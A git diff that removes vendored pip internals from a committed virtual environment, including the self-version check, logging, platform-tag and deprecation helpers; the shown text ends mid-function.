-    # See https://github.com/pypa/pip/issues/10557
-    # We repeat the pruning step until we have no more leaves to remove.
-    while True:
-        leaves = set()
-        for key in graph:
-            if key is None:
-                continue
-            for _child in graph.iter_children(key):
-                # This means we have at least one child
-                break
-            else:
-                # No child.
-                leaves.add(key)
-        if not leaves:
-            # We are done simplifying.
-            break
-        # Calculate the weight for the leaves.
-        weight = len(graph) - 1
-        for leaf in leaves:
-            if leaf not in requirement_keys:
-                continue
-            weights[leaf] = [weight]
-        # Remove the leaves from the graph, making it simpler.
-        for leaf in leaves:
-            graph.remove(leaf)
-
-    # Visit the remaining graph, this will only have nodes to handle if the
-    # graph had a cycle in it, which the pruning step above could not handle.
-    # `None` is guaranteed to be the root node by resolvelib.
-    visit(None)
-
-    # Sanity check: all requirement keys should be in the weights,
-    # and no other keys should be in the weights.
-    difference = set(weights.keys()).difference(requirement_keys)
-    assert not difference, difference
-
-    # Now give back all the weights, choosing the largest ones from what we
-    # accumulated.
-    return {node: max(wgts) for (node, wgts) in weights.items()}
-
-
-def _req_set_item_sorter(
-    item: tuple[str, InstallRequirement],
-    weights: dict[str | None, int],
-) -> tuple[int, str]:
-    """Key function used to sort install requirements for installation.
-
-    Based on the "weight" mapping calculated in ``get_installation_order()``.
-    The canonical package name is returned as the second member as a tie-
-    breaker to ensure the result is predictable, which is useful in tests.
-    """
-    name = canonicalize_name(item[0])
-    return weights[name], name
diff --git a/venv/Lib/site-packages/pip/_internal/self_outdated_check.py b/venv/Lib/site-packages/pip/_internal/self_outdated_check.py
deleted file mode 100644
index 4b5248ed3ded7e4c6cca61df39a48264f7b42814..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/self_outdated_check.py
+++ /dev/null
@@ -1,246 +0,0 @@
-from __future__ import annotations
-
-import datetime
-import hashlib
-import json
-import logging
-import optparse
-import os.path
-import sys
-from dataclasses import dataclass
-
-from pip._vendor.packaging.version import Version
-from pip._vendor.packaging.version import parse as parse_version
-from pip._vendor.rich.console import Group
-from pip._vendor.rich.markup import escape
-from pip._vendor.rich.text import Text
-
-from pip._internal.index.collector import LinkCollector
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.metadata import get_default_environment
-from pip._internal.models.release_control import ReleaseControl
-from pip._internal.models.selection_prefs import SelectionPreferences
-from pip._internal.network.session import PipSession
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.datetime import parse_iso_datetime
-from pip._internal.utils.entrypoints import (
-    get_best_invocation_for_this_pip,
-    get_best_invocation_for_this_python,
-)
-from pip._internal.utils.filesystem import (
-    adjacent_tmp_file,
-    check_path_owner,
-    copy_directory_permissions,
-    replace,
-)
-from pip._internal.utils.misc import (
-    ExternallyManagedEnvironment,
-    check_externally_managed,
-    ensure_dir,
-)
-
-_WEEK = datetime.timedelta(days=7)
-
-logger = logging.getLogger(__name__)
-
-
-def _get_statefile_name(key: str) -> str:
-    key_bytes = key.encode()
-    name = hashlib.sha224(key_bytes).hexdigest()
-    return name
-
-
-class SelfCheckState:
-    def __init__(self, cache_dir: str) -> None:
-        self._state: dict[str, str] = {}
-        self._statefile_path = None
-
-        # Try to load the existing state
-        if cache_dir:
-            self._statefile_path = os.path.join(
-                cache_dir, "selfcheck", _get_statefile_name(self.key)
-            )
-            try:
-                with open(self._statefile_path, encoding="utf-8") as statefile:
-                    self._state = json.load(statefile)
-            except (OSError, ValueError, KeyError):
-                # Explicitly suppressing exceptions, since we don't want to
-                # error out if the cache file is invalid.
-                pass
-
-    @property
-    def key(self) -> str:
-        return sys.prefix
-
-    def get(self, current_time: datetime.datetime) -> str | None:
-        """Check if we have a not-outdated version loaded already."""
-        if not self._state:
-            return None
-
-        if "last_check" not in self._state:
-            return None
-
-        if "pypi_version" not in self._state:
-            return None
-
-        # Determine if we need to refresh the state
-        last_check = parse_iso_datetime(self._state["last_check"])
-        time_since_last_check = current_time - last_check
-        if time_since_last_check > _WEEK:
-            return None
-
-        return self._state["pypi_version"]
-
-    def set(self, pypi_version: str, current_time: datetime.datetime) -> None:
-        # If we do not have a path to cache in, don't bother saving.
-        if not self._statefile_path:
-            return
-
-        statefile_directory = os.path.dirname(self._statefile_path)
-
-        # Check to make sure that we own the directory
-        if not check_path_owner(statefile_directory):
-            return
-
-        # Now that we've ensured the directory is owned by this user, we'll go
-        # ahead and make sure that all our directories are created.
-        ensure_dir(statefile_directory)
-
-        state = {
-            # Include the key so it's easy to tell which pip wrote the
-            # file.
-            "key": self.key,
-            "last_check": current_time.isoformat(),
-            "pypi_version": pypi_version,
-        }
-
-        text = json.dumps(state, sort_keys=True, separators=(",", ":"))
-
-        with adjacent_tmp_file(self._statefile_path) as f:
-            f.write(text.encode())
-            copy_directory_permissions(statefile_directory, f)
-
-        try:
-            # Since we have a prefix-specific state file, we can just
-            # overwrite whatever is there, no need to check.
-            replace(f.name, self._statefile_path)
-        except OSError:
-            # Best effort.
-            pass
-
-
-@dataclass
-class UpgradePrompt:
-    old: str
-    new: str
-
-    def __rich__(self) -> Group:
-        if WINDOWS:
-            pip_cmd = f"{get_best_invocation_for_this_python()} -m pip"
-        else:
-            pip_cmd = get_best_invocation_for_this_pip()
-
-        notice = "[bold][[reset][blue]notice[reset][bold]][reset]"
-        return Group(
-            Text(),
-            Text.from_markup(
-                f"{notice} A new release of pip is available: "
-                f"[red]{self.old}[reset] -> [green]{self.new}[reset]"
-            ),
-            Text.from_markup(
-                f"{notice} To update, run: "
-                f"[green]{escape(pip_cmd)} install --upgrade pip"
-            ),
-        )
-
-
-def _get_current_remote_pip_version(
-    session: PipSession, options: optparse.Values
-) -> str | None:
-    # Lets use PackageFinder to see what the latest pip version is
-    link_collector = LinkCollector.create(
-        session,
-        options=options,
-        suppress_no_index=True,
-    )
-
-    # Pass allow_yanked=False so we don't suggest upgrading to a
-    # yanked version.
-    selection_prefs = SelectionPreferences(
-        allow_yanked=False,
-        release_control=ReleaseControl(only_final={"pip"}),
-    )
-
-    finder = PackageFinder.create(
-        link_collector=link_collector,
-        selection_prefs=selection_prefs,
-    )
-    best_candidate = finder.find_best_candidate("pip").best_candidate
-    if best_candidate is None:
-        return None
-
-    return str(best_candidate.version)
-
-
-def _compute_upgrade_prompt(
-    local_version: Version, remote_version_str: str, installed_by_pip: bool
-) -> UpgradePrompt | None:
-    remote_version = parse_version(remote_version_str)
-    logger.debug("Remote version of pip: %s", remote_version)
-    logger.debug("Local version of pip:  %s", local_version)
-    logger.debug("Was pip installed by pip? %s", installed_by_pip)
-
-    if not installed_by_pip:
-        return None  # Only suggest upgrade if pip is installed by pip.
-
-    local_version_is_older = (
-        local_version < remote_version
-        and local_version.base_version != remote_version.base_version
-    )
-    if local_version_is_older:
-        return UpgradePrompt(old=str(local_version), new=remote_version_str)
-
-    return None
-
-
-def pip_self_version_check_fetch(
-    session: PipSession, options: optparse.Values
-) -> UpgradePrompt | None:
-    """Compute the pip upgrade prompt, if any, before the command runs.
-
-    Limit the frequency of checks to once per week. State is stored either in
-    the active virtualenv or in the user's USER_CACHE_DIR keyed off the prefix
-    of the pip script path.
-
-    Pair with :func:`pip_self_version_check_emit`, which displays the prompt
-    after the command body runs.
-    """
-    installed_dist = get_default_environment().get_distribution("pip")
-    if not installed_dist:
-        return None
-    try:
-        check_externally_managed()
-    except ExternallyManagedEnvironment:
-        return None
-
-    state = SelfCheckState(cache_dir=options.cache_dir)
-    current_time = datetime.datetime.now(datetime.timezone.utc)
-    remote_version_str = state.get(current_time)
-    if remote_version_str is None:
-        remote_version_str = _get_current_remote_pip_version(session, options)
-        if remote_version_str is None:
-            logger.debug("No remote pip version found")
-            return None
-        state.set(remote_version_str, current_time)
-
-    return _compute_upgrade_prompt(
-        local_version=installed_dist.version,
-        remote_version_str=remote_version_str,
-        installed_by_pip=installed_dist.installer == "pip",
-    )
-
-
-def pip_self_version_check_emit(upgrade_prompt: UpgradePrompt | None) -> None:
-    """Emit the upgrade prompt captured by :func:`pip_self_version_check_fetch`."""
-    if upgrade_prompt is not None:
-        logger.warning("%s", upgrade_prompt, extra={"rich": True})
diff --git a/venv/Lib/site-packages/pip/_internal/utils/__init__.py b/venv/Lib/site-packages/pip/_internal/utils/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_internal/utils/_jaraco_text.py b/venv/Lib/site-packages/pip/_internal/utils/_jaraco_text.py
deleted file mode 100644
index 6ccf53b7ac5d415b8526e75ccabe31cf994ac7da..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/_jaraco_text.py
+++ /dev/null
@@ -1,109 +0,0 @@
-"""Functions brought over from jaraco.text.
-
-These functions are not supposed to be used within `pip._internal`. These are
-helper functions brought over from `jaraco.text` to enable vendoring newer
-copies of `pkg_resources` without having to vendor `jaraco.text` and its entire
-dependency cone; something that our vendoring setup is not currently capable of
-handling.
-
-License reproduced from original source below:
-
-Copyright Jason R. Coombs
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to
-deal in the Software without restriction, including without limitation the
-rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-sell copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
-IN THE SOFTWARE.
-"""
-
-import functools
-import itertools
-
-
-def _nonblank(str):
-    return str and not str.startswith("#")
-
-
-@functools.singledispatch
-def yield_lines(iterable):
-    r"""
-    Yield valid lines of a string or iterable.
-
-    >>> list(yield_lines(''))
-    []
-    >>> list(yield_lines(['foo', 'bar']))
-    ['foo', 'bar']
-    >>> list(yield_lines('foo\nbar'))
-    ['foo', 'bar']
-    >>> list(yield_lines('\nfoo\n#bar\nbaz #comment'))
-    ['foo', 'baz #comment']
-    >>> list(yield_lines(['foo\nbar', 'baz', 'bing\n\n\n']))
-    ['foo', 'bar', 'baz', 'bing']
-    """
-    return itertools.chain.from_iterable(map(yield_lines, iterable))
-
-
-@yield_lines.register(str)
-def _(text):
-    return filter(_nonblank, map(str.strip, text.splitlines()))
-
-
-def drop_comment(line):
-    """
-    Drop comments.
-
-    >>> drop_comment('foo # bar')
-    'foo'
-
-    A hash without a space may be in a URL.
-
-    >>> drop_comment('http://example.com/foo#bar')
-    'http://example.com/foo#bar'
-    """
-    return line.partition(" #")[0]
-
-
-def join_continuation(lines):
-    r"""
-    Join lines continued by a trailing backslash.
-
-    >>> list(join_continuation(['foo \\', 'bar', 'baz']))
-    ['foobar', 'baz']
-    >>> list(join_continuation(['foo \\', 'bar', 'baz']))
-    ['foobar', 'baz']
-    >>> list(join_continuation(['foo \\', 'bar \\', 'baz']))
-    ['foobarbaz']
-
-    Not sure why, but...
-    The character preceding the backslash is also elided.
-
-    >>> list(join_continuation(['goo\\', 'dly']))
-    ['godly']
-
-    A terrible idea, but...
-    If no line is available to continue, suppress the lines.
-
-    >>> list(join_continuation(['foo', 'bar\\', 'baz\\']))
-    ['foo']
-    """
-    lines = iter(lines)
-    for item in lines:
-        while item.endswith("\\"):
-            try:
-                item = item[:-2].strip() + next(lines)
-            except StopIteration:
-                return
-        yield item
diff --git a/venv/Lib/site-packages/pip/_internal/utils/_log.py b/venv/Lib/site-packages/pip/_internal/utils/_log.py
deleted file mode 100644
index 92c4c6a193873ce09629f6cfaa2dabc4f14ecb03..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/_log.py
+++ /dev/null
@@ -1,38 +0,0 @@
-"""Customize logging
-
-Defines custom logger class for the `logger.verbose(...)` method.
-
-init_logging() must be called before any other modules that call logging.getLogger.
-"""
-
-import logging
-from typing import Any, cast
-
-# custom log level for `--verbose` output
-# between DEBUG and INFO
-VERBOSE = 15
-
-
-class VerboseLogger(logging.Logger):
-    """Custom Logger, defining a verbose log-level
-
-    VERBOSE is between INFO and DEBUG.
-    """
-
-    def verbose(self, msg: str, *args: Any, **kwargs: Any) -> None:
-        return self.log(VERBOSE, msg, *args, **kwargs)
-
-
-def getLogger(name: str) -> VerboseLogger:
-    """logging.getLogger, but ensures our VerboseLogger class is returned"""
-    return cast(VerboseLogger, logging.getLogger(name))
-
-
-def init_logging() -> None:
-    """Register our VerboseLogger and VERBOSE log level.
-
-    Should be called before any calls to getLogger(),
-    i.e. in pip._internal.__init__
-    """
-    logging.setLoggerClass(VerboseLogger)
-    logging.addLevelName(VERBOSE, "VERBOSE")
diff --git a/venv/Lib/site-packages/pip/_internal/utils/appdirs.py b/venv/Lib/site-packages/pip/_internal/utils/appdirs.py
deleted file mode 100644
index 4152528f68c6c2e3e26d866a66832f1ac6c544cd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/appdirs.py
+++ /dev/null
@@ -1,52 +0,0 @@
-"""
-This code wraps the vendored appdirs module to so the return values are
-compatible for the current pip code base.
-
-The intention is to rewrite current usages gradually, keeping the tests pass,
-and eventually drop this after all usages are changed.
-"""
-
-import os
-import sys
-
-from pip._vendor import platformdirs as _appdirs
-
-
-def user_cache_dir(appname: str) -> str:
-    return _appdirs.user_cache_dir(appname, appauthor=False)
-
-
-def _macos_user_config_dir(appname: str, roaming: bool = True) -> str:
-    # Use ~/Application Support/pip, if the directory exists.
-    path = _appdirs.user_data_dir(appname, appauthor=False, roaming=roaming)
-    if os.path.isdir(path):
-        return path
-
-    # Use a Linux-like ~/.config/pip, by default.
-    linux_like_path = "~/.config/"
-    if appname:
-        linux_like_path = os.path.join(linux_like_path, appname)
-
-    return os.path.expanduser(linux_like_path)
-
-
-def user_config_dir(appname: str, roaming: bool = True) -> str:
-    if sys.platform == "darwin":
-        return _macos_user_config_dir(appname, roaming)
-
-    return _appdirs.user_config_dir(appname, appauthor=False, roaming=roaming)
-
-
-# for the discussion regarding site_config_dir locations
-# see 
-def site_config_dirs(appname: str) -> list[str]:
-    if sys.platform == "darwin":
-        dirval = _appdirs.site_data_dir(appname, appauthor=False, multipath=True)
-        return dirval.split(os.pathsep)
-
-    dirval = _appdirs.site_config_dir(appname, appauthor=False, multipath=True)
-    if sys.platform == "win32":
-        return [dirval]
-
-    # Unix-y system. Look in /etc as well.
-    return dirval.split(os.pathsep) + ["/etc"]
diff --git a/venv/Lib/site-packages/pip/_internal/utils/compat.py b/venv/Lib/site-packages/pip/_internal/utils/compat.py
deleted file mode 100644
index b3f70cf6aca44456ecc90f32a08e2f8db6643417..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/compat.py
+++ /dev/null
@@ -1,91 +0,0 @@
-"""Stuff that differs in different Python versions and platform
-distributions."""
-
-import importlib.resources
-import locale
-import logging
-import os
-import sys
-from typing import IO
-
-__all__ = ["get_locale_encoding", "get_path_uid", "tomllib", "WINDOWS"]
-
-
-logger = logging.getLogger(__name__)
-
-
-def has_tls() -> bool:
-    try:
-        import _ssl  # noqa: F401  # ignore unused
-
-        return True
-    except ImportError:
-        pass
-
-    from pip._vendor.urllib3.util import IS_PYOPENSSL
-
-    return IS_PYOPENSSL
-
-
-def get_locale_encoding() -> str:
-    """Return the locale encoding.
-
-    Uses ``locale.getencoding()`` when available (Python 3.11+) to avoid the
-    ``EncodingWarning`` that ``locale.getpreferredencoding(False)`` raises
-    under UTF-8 Mode.
-    """
-    # TODO: Remove the 3.10 fallback once pip drops Python 3.10 support.
-    if sys.version_info >= (3, 11):
-        return locale.getencoding()
-    return locale.getpreferredencoding(False)
-
-
-def get_path_uid(path: str) -> int:
-    """
-    Return path's uid.
-
-    Does not follow symlinks:
-        https://github.com/pypa/pip/pull/935#discussion_r5307003
-
-    Placed this function in compat due to differences on AIX and
-    Jython, that should eventually go away.
-
-    :raises OSError: When path is a symlink or can't be read.
-    """
-    if hasattr(os, "O_NOFOLLOW"):
-        fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW)
-        file_uid = os.fstat(fd).st_uid
-        os.close(fd)
-    else:  # AIX and Jython
-        # WARNING: time of check vulnerability, but best we can do w/o NOFOLLOW
-        if not os.path.islink(path):
-            # older versions of Jython don't have `os.fstat`
-            file_uid = os.stat(path).st_uid
-        else:
-            # raise OSError for parity with os.O_NOFOLLOW above
-            raise OSError(f"{path} is a symlink; Will not return uid for symlinks")
-    return file_uid
-
-
-# The importlib.resources.open_text function was deprecated in 3.11 with suggested
-# replacement we use below.
-if sys.version_info < (3, 11):
-    open_text_resource = importlib.resources.open_text
-else:
-
-    def open_text_resource(
-        package: str, resource: str, encoding: str = "utf-8", errors: str = "strict"
-    ) -> IO[str]:
-        return (importlib.resources.files(package) / resource).open(
-            "r", encoding=encoding, errors=errors
-        )
-
-
-if sys.version_info >= (3, 11):
-    import tomllib
-else:
-    from pip._vendor import tomli as tomllib
-
-
-# windows detection, covers cpython and ironpython
-WINDOWS = sys.platform.startswith("win") or (sys.platform == "cli" and os.name == "nt")
diff --git a/venv/Lib/site-packages/pip/_internal/utils/compatibility_tags.py b/venv/Lib/site-packages/pip/_internal/utils/compatibility_tags.py
deleted file mode 100644
index 6d98171daf9e3a05a542a56e8439c24ff4746cf5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/compatibility_tags.py
+++ /dev/null
@@ -1,201 +0,0 @@
-"""Generate and work with PEP 425 Compatibility Tags."""
-
-from __future__ import annotations
-
-import re
-
-from pip._vendor.packaging.tags import (
-    PythonVersion,
-    Tag,
-    android_platforms,
-    compatible_tags,
-    cpython_tags,
-    generic_tags,
-    interpreter_name,
-    interpreter_version,
-    ios_platforms,
-    mac_platforms,
-)
-
-_apple_arch_pat = re.compile(r"(.+)_(\d+)_(\d+)_(.+)")
-
-
-def version_info_to_nodot(version_info: tuple[int, ...]) -> str:
-    # Only use up to the first two numbers.
-    return "".join(map(str, version_info[:2]))
-
-
-def _mac_platforms(arch: str) -> list[str]:
-    match = _apple_arch_pat.match(arch)
-    if match:
-        name, major, minor, actual_arch = match.groups()
-        mac_version = (int(major), int(minor))
-        arches = [
-            # Since we have always only checked that the platform starts
-            # with "macosx", for backwards-compatibility we extract the
-            # actual prefix provided by the user in case they provided
-            # something like "macosxcustom_". It may be good to remove
-            # this as undocumented or deprecate it in the future.
-            "{}_{}".format(name, arch[len("macosx_") :])
-            for arch in mac_platforms(mac_version, actual_arch)
-        ]
-    else:
-        # arch pattern didn't match (?!)
-        arches = [arch]
-    return arches
-
-
-def _ios_platforms(arch: str) -> list[str]:
-    match = _apple_arch_pat.match(arch)
-    if match:
-        name, major, minor, actual_multiarch = match.groups()
-        ios_version = (int(major), int(minor))
-        arches = [
-            # Since we have always only checked that the platform starts
-            # with "ios", for backwards-compatibility we extract the
-            # actual prefix provided by the user in case they provided
-            # something like "ioscustom_". It may be good to remove
-            # this as undocumented or deprecate it in the future.
-            "{}_{}".format(name, arch[len("ios_") :])
-            for arch in ios_platforms(ios_version, actual_multiarch)
-        ]
-    else:
-        # arch pattern didn't match (?!)
-        arches = [arch]
-    return arches
-
-
-def _android_platforms(arch: str) -> list[str]:
-    match = re.fullmatch(r"android_(\d+)_(.+)", arch)
-    if match:
-        api_level, abi = match.groups()
-        return list(android_platforms(int(api_level), abi))
-    else:
-        # arch pattern didn't match (?!)
-        return [arch]
-
-
-def _custom_manylinux_platforms(arch: str) -> list[str]:
-    arches = [arch]
-    arch_prefix, arch_sep, arch_suffix = arch.partition("_")
-    if arch_prefix == "manylinux2014":
-        # manylinux1/manylinux2010 wheels run on most manylinux2014 systems
-        # with the exception of wheels depending on ncurses. PEP 599 states
-        # manylinux1/manylinux2010 wheels should be considered
-        # manylinux2014 wheels:
-        # https://www.python.org/dev/peps/pep-0599/#backwards-compatibility-with-manylinux2010-wheels
-        if arch_suffix in {"i686", "x86_64"}:
-            arches.append("manylinux2010" + arch_sep + arch_suffix)
-            arches.append("manylinux1" + arch_sep + arch_suffix)
-    elif arch_prefix == "manylinux2010":
-        # manylinux1 wheels run on most manylinux2010 systems with the
-        # exception of wheels depending on ncurses. PEP 571 states
-        # manylinux1 wheels should be considered manylinux2010 wheels:
-        # https://www.python.org/dev/peps/pep-0571/#backwards-compatibility-with-manylinux1-wheels
-        arches.append("manylinux1" + arch_sep + arch_suffix)
-    return arches
-
-
-def _get_custom_platforms(arch: str) -> list[str]:
-    arch_prefix, arch_sep, arch_suffix = arch.partition("_")
-    if arch.startswith("macosx"):
-        arches = _mac_platforms(arch)
-    elif arch.startswith("ios"):
-        arches = _ios_platforms(arch)
-    elif arch_prefix == "android":
-        arches = _android_platforms(arch)
-    elif arch_prefix in ["manylinux2014", "manylinux2010"]:
-        arches = _custom_manylinux_platforms(arch)
-    else:
-        arches = [arch]
-    return arches
-
-
-def _expand_allowed_platforms(platforms: list[str] | None) -> list[str] | None:
-    if not platforms:
-        return None
-
-    seen = set()
-    result = []
-
-    for p in platforms:
-        if p in seen:
-            continue
-        additions = [c for c in _get_custom_platforms(p) if c not in seen]
-        seen.update(additions)
-        result.extend(additions)
-
-    return result
-
-
-def _get_python_version(version: str) -> PythonVersion:
-    if len(version) > 1:
-        return int(version[0]), int(version[1:])
-    else:
-        return (int(version[0]),)
-
-
-def _get_custom_interpreter(
-    implementation: str | None = None, version: str | None = None
-) -> str:
-    if implementation is None:
-        implementation = interpreter_name()
-    if version is None:
-        version = interpreter_version()
-    return f"{implementation}{version}"
-
-
-def get_supported(
-    version: str | None = None,
-    platforms: list[str] | None = None,
-    impl: str | None = None,
-    abis: list[str] | None = None,
-) -> list[Tag]:
-    """Return a list of supported tags for each version specified in
-    `versions`.
-
-    :param version: a string version, of the form "33" or "32",
-        or None. The version will be assumed to support our ABI.
-    :param platform: specify a list of platforms you want valid
-        tags for, or None. If None, use the local system platform.
-    :param impl: specify the exact implementation you want valid
-        tags for, or None. If None, use the local interpreter impl.
-    :param abis: specify a list of abis you want valid
-        tags for, or None. If None, use the local interpreter abi.
-    """
-    supported: list[Tag] = []
-
-    python_version: PythonVersion | None = None
-    if version is not None:
-        python_version = _get_python_version(version)
-
-    interpreter = _get_custom_interpreter(impl, version)
-
-    platforms = _expand_allowed_platforms(platforms)
-
-    is_cpython = (impl or interpreter_name()) == "cp"
-    if is_cpython:
-        supported.extend(
-            cpython_tags(
-                python_version=python_version,
-                abis=abis,
-                platforms=platforms,
-            )
-        )
-    else:
-        supported.extend(
-            generic_tags(
-                interpreter=interpreter,
-                abis=abis,
-                platforms=platforms,
-            )
-        )
-    supported.extend(
-        compatible_tags(
-            python_version=python_version,
-            interpreter=interpreter,
-            platforms=platforms,
-        )
-    )
-
-    return supported
diff --git a/venv/Lib/site-packages/pip/_internal/utils/datetime.py b/venv/Lib/site-packages/pip/_internal/utils/datetime.py
deleted file mode 100644
index f8870eacd177083ae2d1050197f4016842bcce79..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/datetime.py
+++ /dev/null
@@ -1,28 +0,0 @@
-"""For when pip wants to check the date or time."""
-
-import datetime
-import sys
-
-
-def today_is_later_than(year: int, month: int, day: int) -> bool:
-    today = datetime.date.today()
-    given = datetime.date(year, month, day)
-
-    return today > given
-
-
-def parse_iso_datetime(isodate: str) -> datetime.datetime:
-    """Convert an ISO format string to a datetime.
-
-    Handles the format 2020-01-22T14:24:01Z (trailing Z)
-    which is not supported by older versions of fromisoformat.
-    """
-    # Python 3.11+ supports Z suffix natively in fromisoformat
-    if sys.version_info >= (3, 11):
-        return datetime.datetime.fromisoformat(isodate)
-    else:
-        return datetime.datetime.fromisoformat(
-            isodate.replace("Z", "+00:00")
-            if isodate.endswith("Z") and ("T" in isodate or " " in isodate.strip())
-            else isodate
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/utils/deprecation.py b/venv/Lib/site-packages/pip/_internal/utils/deprecation.py
deleted file mode 100644
index c272671d824bff7682e479bb0ee39df194082db4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/deprecation.py
+++ /dev/null
@@ -1,144 +0,0 @@
-"""
-A module that implements tooling to enable easy warnings about deprecations.
-"""
-
-from __future__ import annotations
-
-import logging
-import os
-import warnings
-from typing import Any, TextIO
-
-from pip._vendor.packaging.version import parse
-
-from pip import __version__ as current_version  # NOTE: tests patch this name.
-
-DEPRECATION_MSG_PREFIX = "DEPRECATION: "
-
-
-class PipDeprecationWarning(Warning):
-    include_source: bool = False
-
-
-_original_showwarning: Any = None
-
-
-# Warnings <-> Logging Integration
-def _showwarning(
-    message: Warning | str,
-    category: type[Warning],
-    filename: str,
-    lineno: int,
-    file: TextIO | None = None,
-    line: str | None = None,
-) -> None:
-    if file is not None:
-        if _original_showwarning is not None:
-            _original_showwarning(message, category, filename, lineno, file, line)
-    elif issubclass(category, PipDeprecationWarning):
-        # We use a specially named logger which will handle all of the
-        # deprecation messages for pip.
-        logger = logging.getLogger("pip._internal.deprecations")
-        if isinstance(message, PipDeprecationWarning) and message.include_source:
-            logger.warning("%s (%s:%s)", message, filename, lineno)
-        else:
-            logger.warning(message)
-    else:
-        _original_showwarning(message, category, filename, lineno, file, line)
-
-
-def install_warning_logger() -> None:
-    # Enable our Deprecation Warnings
-    # If we're running pip test suite, promote the PipDeprecationWarning into errors.
-    if os.environ.get("_PIP_TEST_ENV", None):
-        warnings.simplefilter("error", PipDeprecationWarning)
-    else:
-        warnings.simplefilter("default", PipDeprecationWarning, append=True)
-
-    global _original_showwarning
-
-    if _original_showwarning is None:
-        _original_showwarning = warnings.showwarning
-        warnings.showwarning = _showwarning
-
-
-def deprecated(
-    *,
-    reason: str,
-    replacement: str | None,
-    gone_in: str | None,
-    feature_flag: str | None = None,
-    issue: int | None = None,
-    stacklevel: int = 2,
-    include_source: bool = False,
-) -> None:
-    """Helper to deprecate existing functionality.
-
-    reason:
-        Textual reason shown to the user about why this functionality has
-        been deprecated. Should be a complete sentence.
-    replacement:
-        Textual suggestion shown to the user about what alternative
-        functionality they can use.
-    gone_in:
-        The version of pip does this functionality should get removed in.
-        Raises an error if pip's current version is greater than or equal to
-        this.
-    feature_flag:
-        Command-line flag of the form --use-feature={feature_flag} for testing
-        upcoming functionality.
-    issue:
-        Issue number on the tracker that would serve as a useful place for
-        users to find related discussion and provide feedback.
-    stacklevel:
-        How many frames up the call stack to attribute the warning to.
-        Defaults to 2 (the caller of deprecated()).
-    include_source:
-        If True, include the source filename and line number in the warning
-        output. Useful when the warning originates from external code.
-    """
-
-    # Determine whether or not the feature is already gone in this version.
-    is_gone = gone_in is not None and parse(current_version) >= parse(gone_in)
-
-    message_parts = [
-        (reason, f"{DEPRECATION_MSG_PREFIX}{{}}"),
-        (
-            gone_in,
-            (
-                "pip {} will enforce this behaviour change."
-                if not is_gone
-                else "Since pip {}, this is no longer supported."
-            ),
-        ),
-        (
-            replacement,
-            "A possible replacement is {}.",
-        ),
-        (
-            feature_flag,
-            (
-                "You can use the flag --use-feature={} to test the upcoming behaviour."
-                if not is_gone
-                else None
-            ),
-        ),
-        (
-            issue,
-            "Discussion can be found at https://github.com/pypa/pip/issues/{}",
-        ),
-    ]
-
-    message = " ".join(
-        format_str.format(value)
-        for value, format_str in message_parts
-        if format_str is not None and value is not None
-    )
-
-    # Raise as an error if this behaviour is deprecated.
-    if is_gone:
-        raise PipDeprecationWarning(message)
-
-    warning = PipDeprecationWarning(message)
-    warning.include_source = include_source
-    warnings.warn(warning, stacklevel=stacklevel)
diff --git a/venv/Lib/site-packages/pip/_internal/utils/direct_url_helpers.py b/venv/Lib/site-packages/pip/_internal/utils/direct_url_helpers.py
deleted file mode 100644
index f2d6e9037d55d5f03eb9b3cfd0907776b6ef40d5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/utils/direct_url_helpers.py
+++ /dev/null
@@ -1,92 +0,0 @@
-from __future__ import annotations
-
-from pip._internal.models.direct_url import ArchiveInfo, DirectUrl, DirInfo, VcsInfo
-from pip._internal.models.link import Link
-from pip._internal.utils.urls import path_to_url
-from pip._internal.vcs import vcs
-
-
-def direct_url_as_pep440_direct_reference(direct_url: DirectUrl, name: str) -> str:
-    """Convert a DirectUrl to a pip requirement string."""
-    direct_url.validate()  # if invalid, this is a pip bug
-    requirement = name + " @ "
-    fragments = []
-    if direct_url.vcs_info:
-        requirement += (
-            f"{direct_url.vcs_info.vcs}+{direct_url.url}"
-            f"@{direct_url.vcs_info.commit_id}"
-        )
-    elif direct_url.archive_info:
-        requirement += direct_url.url
-        if direct_url.archive_info.hashes:
-            hash_algorithm, hash_value = next(
-                iter(direct_url.archive_info.hashes.items())
-            )
-            fragments.append(f"{hash_algorithm}={hash_value}")
-    else:
-        assert direct_url.dir_info
-        requirement += direct_url.url
-    if direct_url.subdirectory:
-        fragments.append("subdirectory=" + direct_url.subdirectory)
-    if fragments:
-        requirement += "#" + "&".join(fragments)
-    return requirement
-
-
-def direct_url_for_editable(source_dir: str) -> DirectUrl:
-    return DirectUrl(
-        url=path_to_url(source_dir),
-        dir_info=DirInfo(editable=True),
-    )
-
-
-def direct_url_from_link(
-    link: Link, source_dir: str | None = None, link_is_in_wheel_cache: bool = False
-) -> DirectUrl:
